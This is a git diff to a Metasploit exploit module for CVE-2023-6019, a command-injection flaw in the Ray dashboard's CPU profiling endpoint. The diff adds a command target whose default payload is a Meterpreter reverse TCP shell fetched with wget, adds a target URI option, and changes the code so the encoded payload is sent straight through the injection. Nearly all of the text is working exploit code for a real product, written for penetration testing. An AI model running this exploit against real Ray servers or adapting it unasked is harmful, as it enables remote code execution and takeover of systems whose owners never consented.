diff --git a/modules/exploits/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019.rb b/modules/exploits/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019.rb index 2172e4304e..dcf3a27296 100644 --- a/modules/exploits/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019.rb +++ b/modules/exploits/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019.rb @@ -36,7 +36,16 @@ class MetasploitModule < Msf::Exploit::Remote 'Targets' => [ [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], - [ 'Linux aarch64', { 'Arch' => ARCH_AARCH64, 'Platform' => 'linux' } ] + [ 'Linux aarch64', { 'Arch' => ARCH_AARCH64, 'Platform' => 'linux' } ], + [ + 'Linux Command', { + 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', + 'FETCH_COMMAND' => 'WGET' + } + } + ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2023-11-15', @@ -51,6 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(8265), + Msf::OptString.new('TARGET_URI', [ false, 'URI', '/']) ] ) end @@ -95,7 +105,12 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::Unknown, 'Failed to get ip') unless first_node.key?('ip') ip = first_node['ip'] print_good("Grabbed node info, pid: #{pid}, ip: #{ip}") - execute_cmdstager({ flavor: :wget, pid: pid, ip: ip }) + case target['Type'] + when :nix_cmd + execute_command(payload.encoded, { pid: pid, ip: ip }) + else + execute_cmdstager({ flavor: :wget, pid: pid, ip: ip }) + end end def execute_command(cmd, opts = {})